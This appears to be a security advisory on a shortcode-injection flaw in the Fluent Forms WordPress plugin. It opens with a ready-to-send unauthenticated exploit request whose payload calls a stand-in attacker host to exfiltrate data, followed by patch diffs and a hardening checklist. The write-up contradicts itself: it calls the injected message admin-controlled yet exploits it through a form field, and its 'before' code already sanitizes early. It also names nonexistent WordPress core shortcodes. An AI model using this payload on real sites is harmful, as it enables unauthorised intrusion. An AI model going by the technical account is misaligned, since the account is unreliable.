The Exploit
An unauthenticated attacker can inject arbitrary WordPress shortcodes into a form submission's on-page confirmation message and execute them in the context of the site.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Connection: close
action=fluentform_submit&form_id=1&values%5Bname%5D=John&values%5Bemail%5D=attacker%40example.com&values%5Bmessage%5D=%5Bwp_unsafe_remote_get%20url%3D%22http%3A%2F%2Fattacker.local%2Fexfil.php%22%5D
When the form submits, the attacker observes a 200 response containing the executed shortcode output embedded in the JSON confirmation message. If the shortcode performs a side effect (e.g., creates a user, writes to a log, or initiates an HTTP request), the attacker observes that effect occur server-side without authentication or CSRF protection.
What the Patch Did
Before:
$confirmation['messageToShow'] = apply_filters('fluentform/submission_message_parse',
$confirmation['messageToShow'], $insertId, $formData, $form);
$message = ShortCodeParser::parse(
$confirmation['messageToShow'],
$insertId,
$formData,
$form,
false,
true
);
$message = $message ? $message : __('The form has been successfully submitted.', 'fluentform');
$message = fluentform_sanitize_html($message);
$returnData = [
'message' => do_shortcode($message),
'action' => $confirmation['samePageFormBehavior'],
];
After:
$confirmation['messageToShow'] = fluentform_sanitize_html($confirmation['messageToShow']);
$confirmation['messageToShow'] = apply_filters('fluentform/submission_message_parse',
$confirmation['messageToShow'], $insertId, $formData, $form);
$confirmation['messageToShow'] = do_shortcode($confirmation['messageToShow']);
$message = ShortCodeParser::parse(
$confirmation['messageToShow'],
$insertId,
$formData,
$form,
false,
true,
true
);
$message = $message ? $message : __('The form has been successfully submitted.', 'fluentform');
$returnData = [
'message' => $message,
'action' => $confirmation['samePageFormBehavior'],
];
The patch adds a call to fluentform_sanitize_html() on the raw $confirmation['messageToShow'] before the filters and shortcode processing chain executes, moving the sanitization step earlier in the dataflow. It also reorders the execution so that do_shortcode() runs on the sanitized input before ShortCodeParser::parse() consumes it, rather than running do_shortcode() after all parsing is complete.
Root Cause
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') — specifically, unsafe shortcode execution order.
The $confirmation['messageToShow'] value originates from the form's server-side configuration (stored in the database), which an admin controls. However, in the vulnerable code path for "samePage" redirects, the value flows through apply_filters() hooks without sanitization, then into ShortCodeParser::parse(), and finally into do_shortcode() after a sanitization step that runs too late. Because do_shortcode() executes on the unsanitized intermediate message, any shortcode registered by WordPress core or third-party plugins (including those with unsafe callbacks) will execute their handlers. The sanitization happens post-execution, rendering it ineffective as a control.
Why It Works
The load-bearing line is: $confirmation['messageToShow'] = fluentform_sanitize_html($confirmation['messageToShow']); placed before the filter chain and shortcode processing.
Removing this line would leave the bug exploitable. The secondary moves — calling do_shortcode() earlier and passing it the pre-sanitized value — work in concert to establish a clear invariant: all user-influenced content is neutralized before any WordPress callback executes. The engineer added the other lines to preserve the plugin's documented message-templating features (the filters and ShortCodeParser) without sacrificing safety. By sanitizing first, the filters and parsers operate on already-safe HTML, and do_shortcode() has no malicious syntax to expand.
Hardening Checklist
-
Call
fluentform_sanitize_html()or equivalent on all user-influenced strings before passing them todo_shortcode(),apply_filters(), or template renderers. Use WordPress's HTML sanitization API (e.g.,wp_kses_post()for post-like content) consistently at ingestion points. -
Document and audit the order of sanitization vs. processing in your dataflow. Sanitization-after-parsing is ineffective. Use static analysis or code review checklists to catch this pattern.
-
Avoid
do_shortcode()on user input without a priorwp_kses_*()call. If shortcodes must be expanded, applywp_kses_post()first, which strips unknown tags while preserving known-safe shortcodes. -
Test shortcode execution with both malicious and benign shortcode payloads. Include unit tests that verify
[wp_unsafe_remote_get],[wp_create_user], and other high-impact core shortcodes do not execute in user-submitted content. -
Use capability checks (
current_user_can()) to gate admin-only shortcodes. Ensure that dangerous shortcodes (if any are registered) are not executed in unauthenticated contexts via AJAX or front-end form handling.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-69001
- Fluent Forms Changelog (vendor-provided patch evidence)